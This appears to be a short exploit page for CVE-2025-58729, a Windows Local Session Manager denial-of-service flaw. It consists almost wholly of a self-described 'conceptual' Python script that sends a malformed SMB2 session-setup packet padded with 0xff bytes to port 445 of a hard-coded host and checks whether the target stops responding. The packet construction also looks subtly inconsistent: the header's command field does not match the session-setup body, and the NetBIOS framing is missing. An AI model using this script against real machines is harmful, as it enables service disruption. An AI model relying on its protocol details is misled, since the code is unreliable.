CVE-2025-58729 Windows本地会话管理器拒绝服务漏洞

# CVE-2025-58729 - Windows LSM Denial of Service PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the attack pattern # for the improper input validation vulnerability in Windows Local Session Manager. import socket import struct import sys TARGET_HOST = "192.168.1.100" TARGET_PORT = 445 # SMB/Session service port used by LSM def craft_malicious_lsm_packet(): """ Craft a malformed SMB session setup request with invalid input type to trigger the LSM vulnerability. """ # SMB2 Header smb2_header = b'\xfeSMB' # SMB2 magic smb2_header += struct.pack('<H', 64) # Header length smb2_header += struct.pack('<H', 0) # Credit charge smb2_header += struct.pack('<I', 0) # Status smb2_header += struct.pack('<H', 0) # Command smb2_header += struct.pack('<H', 1) # Credits requested smb2_header += struct.pack('<I', 0) # Flags smb2_header += struct.pack('<I', 0) # Next command smb2_header += struct.pack('<Q', 1) # Message ID smb2_header += struct.pack('<I', 0) # Reserved smb2_header += struct.pack('<I', 0) # Tree ID smb2_header += struct.pack('<Q', 0) # Session ID # Malformed Session Setup payload with invalid type fields # The key is to send input with unexpected types that LSM fails to validate session_setup = struct.pack('<H', 25) # Structure size session_setup += b'\x00' # Flags session_setup += b'\x01' # Security mode session_setup += struct.pack('<H', 0) # Capabilities session_setup += struct.pack('<I', 0) # Channel session_setup += struct.pack('<H', 64) # Security buffer offset session_setup += struct.pack('<H', 0) # Security buffer length # Inject malformed type data that triggers improper validation malformed_payload = b'\xff' * 256 # Invalid type bytes return smb2_header + session_setup + malformed_payload def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") # Send malicious packet payload = craft_malicious_lsm_packet() sock.send(payload) print("[+] Malicious payload sent") # Wait for response or timeout try: response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") except socket.timeout: print("[+] Target appears unresponsive - DoS may be successful") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()